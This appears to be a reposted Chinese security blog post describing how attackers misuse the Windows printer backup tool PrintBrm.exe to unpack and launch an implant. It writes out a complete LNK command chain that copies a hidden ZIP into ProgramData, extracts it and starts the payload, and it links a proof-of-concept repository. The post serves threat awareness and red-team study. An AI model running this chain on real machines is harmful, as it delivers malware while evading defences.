![通过打印机备份工具执行植入恶意EXE工具 通过打印机备份工具执行植入恶意EXE工具](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/8-1721015356.gif)
关于 PrintBrm.exe
-
PrintBrm.exe – 打印机备份恢复迁移工具
-
路径:%windir%System32spooltoolsPrintBrm.exe
-
用于从 ZIP 存档中提取文件
-
因此,LOLBIN
概念证明
看到了以下推文,其中威胁者使用 PrintBrm 提取并执行植入。考虑为其创建一个 PoC。https://twitter.com/h2jazi/status/1638923200527474691
感染链
-
以包含 LNK 文件以及隐藏的 ZIP 存档的 ISO 文件开始。
-
一旦 LNK 文件被执行。
-
它将 ZIP 存档复制到 ProgramData 中 -
使用 PrintBrm.exe 将存档中的文件提取到 ProgramData 中的另一个文件夹中 -
提取的文件“USO.exe”是植入程序,然后由 LNK 文件执行。
-
可以从“PoC-ISO”文件夹下载演示以下感染链的概念验证 ISO 文件
注意:在这种情况下,应使用用法中提到的命令从 PrintBrm 实用程序生成 ZIP 存档
LNK 文件的参数:
%windir%/system32/cmd.exe /c xcopy .USO.zip %programdata% /h /y && %windir%System32spooltoolsPrintBrm.exe -r -f %programdata%USO.zip -d %programdata%usosharingdriver && start %programdata%usosharingdriverUSO.exe
用法-PrintBrm.exe
-r - Restore the configuration in the file to the server.
-f file_name The backup file.
-d directory Unpack the backup file to the directory (with -r),
or repack a backup file from the directory (with -b).
PrintBrm Commands
Pack the files from the Directory to ZIP
PrintBrm.exe -b -f <out_zip_path> -d <directory_to_pack>
Unpack the ZIP to the Directory
PrintBrm.exe -r -f <unpack_zip_path> -d <unpack_files_directory_path>
https://github.com/knight0x07/PoC-Malware-TTPs/tree/main/PrintBrm-Impant-Exec
感谢您抽出
![通过打印机备份工具执行植入恶意EXE工具 通过打印机备份工具执行植入恶意EXE工具](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/0-1721015360.gif)
.
![通过打印机备份工具执行植入恶意EXE工具 通过打印机备份工具执行植入恶意EXE工具](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/9-1721015362.gif)
.
![通过打印机备份工具执行植入恶意EXE工具 通过打印机备份工具执行植入恶意EXE工具](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/1-1721015364.gif)
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):通过打印机备份工具执行植入恶意EXE工具